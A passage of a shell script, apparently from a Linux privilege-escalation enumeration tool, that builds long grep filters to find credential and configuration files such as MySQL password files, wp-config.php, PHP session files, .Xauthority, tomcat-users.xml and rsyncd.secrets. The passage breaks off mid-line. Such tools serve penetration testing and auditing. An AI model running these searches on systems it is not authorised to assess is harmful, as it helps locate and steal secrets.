PSTORAGE_SYSTEMD=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}opt|^${ROOT_FOLDER}systemd|^${ROOT_FOLDER}system|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}private|^${ROOT_FOLDER}run|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}sbin|^$GREPHOMESEARCH|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}lib|^${ROOT_FOLDER}lib64|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}sys|^${ROOT_FOLDER}concourse-keys|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}var|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}concourse-auth|^${ROOT_FOLDER}lib32|^${ROOT_FOLDER}media" | grep -E ".*\.service$" | sort | uniq | head -n 70) + PSTORAGE_TIMER=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}opt|^${ROOT_FOLDER}systemd|^${ROOT_FOLDER}system|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}private|^${ROOT_FOLDER}run|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}sbin|^$GREPHOMESEARCH|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}lib|^${ROOT_FOLDER}lib64|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}sys|^${ROOT_FOLDER}concourse-keys|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}var|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}concourse-auth|^${ROOT_FOLDER}lib32|^${ROOT_FOLDER}media" | grep -E ".*\.timer$" | sort | uniq | head -n 70) + PSTORAGE_SOCKET=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}opt|^${ROOT_FOLDER}systemd|^${ROOT_FOLDER}system|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}private|^${ROOT_FOLDER}run|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}sbin|^$GREPHOMESEARCH|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}lib|^${ROOT_FOLDER}lib64|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}sys|^${ROOT_FOLDER}concourse-keys|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}var|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}concourse-auth|^${ROOT_FOLDER}lib32|^${ROOT_FOLDER}media" | grep -E ".*\.socket$" | sort | uniq | head -n 70) + PSTORAGE_DBUS=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_OPT\n$FIND_DIR_SNAP\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_SBIN\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_PRIVATE\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}etc" | grep -E "system\.d$" | sort | uniq | head -n 70) + PSTORAGE_MYSQL=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_OPT\n$FIND_DIR_SNAP\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_SBIN\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_PRIVATE\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E 'mysql/mysql' | grep -E '^/etc/.*mysql|/usr/var/lib/.*mysql|/var/lib/.*mysql' | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "mysql$|passwd\.ibd$|password.*\.ibd$|pwd\.ibd$|mysqld\.cnf$" | sort | uniq | head -n 70) + PSTORAGE_MARIADB=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "mariadb\.cnf$|debian\.cnf$" | sort | uniq | head -n 70) + PSTORAGE_POSTGRESQL=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "pgadmin.*\.db$|pg_hba\.conf$|postgresql\.conf$|pgsql\.conf$|pgadmin4\.db$" | sort | uniq | head -n 70) + PSTORAGE_APACHE_NGINX=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_OPT\n$FIND_DIR_SNAP\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_SBIN\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_PRIVATE\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "sites-enabled$|000-default\.conf$|php\.ini$|nginx\.conf$|nginx$" | sort | uniq | head -n 70) + PSTORAGE_VARNISH=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_OPT\n$FIND_DIR_SNAP\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_SBIN\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_PRIVATE\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "varnish$" | sort | uniq | head -n 70) + PSTORAGE_PHP_SESSIONS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E '/tmp/.*sess_.*|/var/tmp/.*sess_.*' | grep -E "^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}var|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private" | grep -E "sess_.*$" | sort | uniq | head -n 70) + PSTORAGE_PHP_FILES=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E ".*config.*\.php$|database\.php$|db\.php$|storage\.php$|settings\.php$" | sort | uniq | head -n 70) + PSTORAGE_APACHE_AIRFLOW=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "airflow\.cfg$|webserver_config\.py$" | sort | uniq | head -n 70) + PSTORAGE_X11=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "\.Xauthority$" | sort | uniq | head -n 70) + PSTORAGE_WORDPRESS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "wp-config\.php$" | sort | uniq | head -n 70) + PSTORAGE_DRUPAL=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E '/default/settings.php' | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "settings\.php$" | sort | uniq | head -n 70) + PSTORAGE_MOODLE=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E 'moodle/config.php' | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "config\.php$" | sort | uniq | head -n 70) + PSTORAGE_TOMCAT=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "tomcat-users\.xml$" | sort | uniq | head -n 70) + PSTORAGE_MONGO=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "mongod.*\.conf$" | sort | uniq | head -n 70) + PSTORAGE_ROCKETCHAT=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}systemd|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}lib|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "rocketchat\.service$" | sort | uniq | head -n 70) + PSTORAGE_SUPERVISORD=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "supervisord\.conf$" | sort | uniq | head -n 70) + PSTORAGE_CESI=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "cesi\.conf$" | sort | uniq | head -n 70) + PSTORAGE_RSYNC=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "rsyncd\.conf$|rsyncd\.secrets$" | sort | uniq | head -n 70) + PSTORAGE_RPCD=$(echo -e 